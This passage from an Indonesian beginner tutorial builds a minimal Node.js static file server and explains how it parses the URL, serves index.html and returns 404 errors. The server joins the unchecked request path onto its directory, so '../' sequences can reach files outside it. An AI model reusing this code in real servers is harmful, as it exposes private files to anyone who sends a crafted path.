<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</body>
</html>

Hasilnya akan seperti ini:


Tapi rasanya masih belum lengkap ya? OK, kita kembangkan dengan beberapa baris kode.
var url = require('url');
var http = require('http');
var fs = require('fs');
var path = require("path");

var app = http.createServer(function(request, response) {
var uri;

uri = url.parse(request.url).pathname;
if (uri == '/') uri += 'index.html';
uri = path.join(__dirname,uri);

data = fs.readFile(uri, function(err,data){
if(err){
response.writeHead(404, {"Content-Type": "text/plain"});
response.write("404 Not Found\n");
response.end();
return;
} else {
response.writeHead(200, {"Content-Type": 'text/html'});
response.write(data);
response.end()
console.log("Request OK");
}
});
});

app.listen(3000);

Dengan modul url, kita bisa menemukan konten manakah yang sedang direquest oleh client. Misalnya, ketika diakses http://localhost/mypage.html, modul ini bisa digunakan untuk memisahkan domain dengan alamat file relatif yang akan diakses; yaitu /mypage.html.

uri = url.parse(request.url).pathname;

Ketika mengakses folder root server ( / ), apa yang harus kita kirim? kita akan meniru web server pada umumnya, yaitu mengirim konten dari file index.html.

if (uri == '/') uri += 'index.html';

Karena alamat uri bersifat relatif dan terdapat awalan slash, kita tidak bisa serta merta menggunakannya sebagai argumen untuk membaca file. Jadi kita menggabungkannya dengan __dirname. Nilai ini berupa konstan yang menunjukkan current directory dari file yang sedang dieksekusi node.js.

uri = path.join(__dirname,uri);

Untuk menghindari exception, disini kita akan menggunakan varian readFile asynchronous. Prototypenya adalah sebagai berikut.
fs.readFile(file[, options], callback)

Sedangkan prototype fungsi callbacknya:
callback(error, data)

Apabila readFile mengalami error, dapat dipastikan argumen error bernilai selain 0. Penyebab error bisa bermacam macam, tapi pada umumnya adalah karena file tidak ditemukan. Untuk itu, jika error kita akan mengirimkan 404 ke client sebagai indikasi bahwa file yang diminta tidak ditemukan di server.

if(err){ //err != 0
response.writeHead(404, {"Content-Type": "text/plain"});
response.write("404 Not Found\n");
response.end();
return;
}

Penasaran, hasilnya seperti apa ya?

file index.html ditampillkan pada home page

mengakses file 'a' yang tidak ada


WOW, keren...
Masih semangat bukan? Itu masih bukan apa-apa. Nanti di part selanjutnya, kita akan mencoba eksperimen yang lebih keren lagi.

See ya...
Read more